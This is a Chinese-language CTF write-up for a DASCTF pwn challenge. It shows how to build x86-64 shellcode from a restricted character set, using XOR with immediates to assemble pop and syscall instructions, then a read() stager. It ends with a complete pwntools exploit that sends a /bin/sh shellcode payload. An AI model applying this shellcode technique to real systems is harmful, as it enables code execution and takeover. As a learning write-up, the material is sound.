首页 > 系统相关 >1!5! 花式shellcode

1!5! 花式shellcode

时间:2022-10-28 21:57:45浏览次数:88  
标签:xor rdx eax 0x31 push byte shellcode 花式

1!5! 花式shellcode

dasctf十月的一道题,听哥们在这给你说唱

image-20221028174514090.png

main函数首先mmap了0x1000的一个rwx段,然后起始地址是固定的0x10000,然后往里面读入0x200的内容,中间有个check函数

image-20221028174724574.png

大概就是shellcode里面不能有\x00,字符限制在15aABCDEFGHIJKLMNOPQRSUVWXYZ里面,这里大概就是暗示得去找字符对应的机器码了。并且在调用shellcode前还mov rsp, rax,阻止你利用原本栈上的数据。

至于如何看字符对应的机器码,我是根据一个单字节指令集和ida汇编功能,然后大概猜测的

单字节指令集:https://blog.csdn.net/weixin_43708844/article/details/103211703

ida汇编功能的话,找个没用的别的程序,随便汇编嗯造,大概对应出相应的指令

image-20221028175828610.png

其中0x50-0x5a都是pop/push寄存器指令,限制里面没有0x54,也就是不能用push rsp(其实还是可以xor构造出0x54),然后比较特别的是0x61 0x31 0x35,其中0x31和0x35属于机器指令,可以对寄存器或者内存进行xor修改,上面图里0x31大概是xor [寄存器],寄存器的作用,而0x35是xor eax,4字节立即值。从这里可以得出,eax,ecx,edx是我们可以随意控制的,因为有这三个寄存器全套的pop和push,而且eax还可以用立即值xor。

虽然他阻止我们利用原本栈上的数据,但是没阻止我们利用原本寄存器里的数据,下图可以看到即使进入jmp rdx了,寄存器的值还在,那么我们可以利用此时的rbx=0和rdx=0x10000

QQ截图20221028180456.png

由于0x52的push rdx还在,以及0x31 0x41 0x?? 对应xor [rcx+??h], eax,我们可以把rdx里的0x10000push到栈上,然后pop给rcx,从而实现内存控制。

同时,虽然他限制了我们字符的使用,但是0x35提供的xor eax,立即值,还是可以进行其他计算,以算出我们想要的值并赋到shellcode上。

比如0x5e对应的pop rsi,这个我们无法直接使用,但是可以先xor eax, 0x58585858。xor eax, 0x44444444,把eax布置为0x1c1c1c1c,然后在shellcode里提前布置0x42424242,根据0x31 0x41 0x?? 对应xor [rcx+??h], eax,在这之前将rcx布置为0x10000shellcode起始地址,然后执行xor [rcx+??h], eax,这样0x1c1c1c1c的eax就会与shellcode的这处内存0x42424242进行xor,并赋给这一处内存变成0x5e5e5e5e,实现指令pop rsi的构造。

到此就差一个无意义指令来连接我们的shellcode了,因为shellcode里不能有\x00,这里我们选择双字节0x31 0x31对应xor [rcx], esi,其实就是不停xor我们shellcode开头,不会对后续造成影响。但是0x31接近我们实际执行指令的时候,会出现错误组合,此时我发现在0x31和实际执行指令之间加上push rdx可以避免此情况

.byte 0x31
.byte 0x31
.byte 0x31

push rdx

push rbx
push rbx

现在我们的shellcode操控寄存器已经明晰了,就差思路了,我们直接编写execve("/bin/sh",0,0)的syscall调用比较麻烦,还要布置字符串和相应地址,这里我们选择构造read(0,shellcode地址,rdx),这样我们就避免了shellcode的检查,可以自己读入一段不受限的shellcode。那么思路就是布置 rdi0,rsi=shellcode地址也就是0x10000,rdx=一个较大的数值,rax=0,以及布置syscall指令,syscall指令对应机器码是0x50f也就是0f 05,可以通过0x4141 xor 0x444e 获得0x050f

xor eax, 0x58585858
xor eax, 0x44444444//此时eax==0x1c1c1c1c

xor dword ptr[rcx+0x31],eax//布置pop rsi指令
xor dword ptr[rcx+0x35],eax//布置pop rdi指令

xor eax, 0x4a4a4a4a
xor eax, 0x56565656
xor eax, 0x444e444e
xor dword ptr[rcx+0x50],eax//此时eax==0x444e444e
xor eax, 0x444e444e//eax清空

exp:

#!/usr/bin/python
# -*- coding: UTF-8 -*-
from pickletools import stackslice
from time import sleep
from shutil import move
from pwn import *
context.terminal = ['tmux','splitw','-h']
context.arch='amd64'
#p=remote('127.0.0.1',6666)
binary="./15"
p=process(binary)
context.log_level='debug'
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc=ELF('/home/lmy/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so')

elf=ELF(binary)
s = lambda buf: p.send(buf)
sl = lambda buf: p.sendline(buf)
sa = lambda delim, buf: p.sendafter(delim, buf)
sal = lambda delim, buf: p.sendlineafter(delim, buf)
sh = lambda: p.interactive()
r = lambda n=None: p.recv(n)
ra = lambda t=tube.forever:p.recvall(t)
ru = lambda delim: p.recvuntil(delim)
rl = lambda: p.recvline()
rls = lambda n=2**20: p.recvlines(n)
it      = lambda                    :p.interactive()
uu32    = lambda data   :u32(data.ljust(4, ''))
uu64    = lambda data   :u64(data.ljust(8, ''))
bp      = lambda bkp                :gdb.attach(p,'b *'+str(bkp))

gdb.attach(p,'b *$reabse(0x001313)')

payload = '''
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
xor eax, 0x58585858
xor eax, 0x44444444
push rdx
push rdx
push rdx
push rdx
push rdx
pop rcx
xor dword ptr[rcx+0x31],eax
xor dword ptr[rcx+0x35],eax
.byte 0x31
.byte 0x31
.byte 0x31
.byte 0x31
.byte 0x31
.byte 0x31
.byte 0x31
.byte 0x31
.byte 0x31
.byte 0x31

push rdx

push rbx
push rbx
push rbx
push rbx

push rdx
push rdx
push rdx
push rdx
push rdx


.byte 0x42
.byte 0x42
.byte 0x42
.byte 0x42


.byte 0x43
.byte 0x43
.byte 0x43
.byte 0x43

xor eax, 0x4a4a4a4a
xor eax, 0x56565656
xor eax, 0x444e444e
xor dword ptr[rcx+0x50],eax
xor eax, 0x444e444e


.byte 0x41
.byte 0x41
.byte 0x41
.byte 0x41

'''


payload=asm(payload)
print len(payload)

pl=payload.ljust(0x200,'\x31')
s(pl)

pl2='a'*0x52+asm(shellcraft.sh())

s(pl2)



it()

标签:xor,rdx,eax,0x31,push,byte,shellcode,花式
From: https://www.cnblogs.com/brain-Z/p/16837629.html

相关文章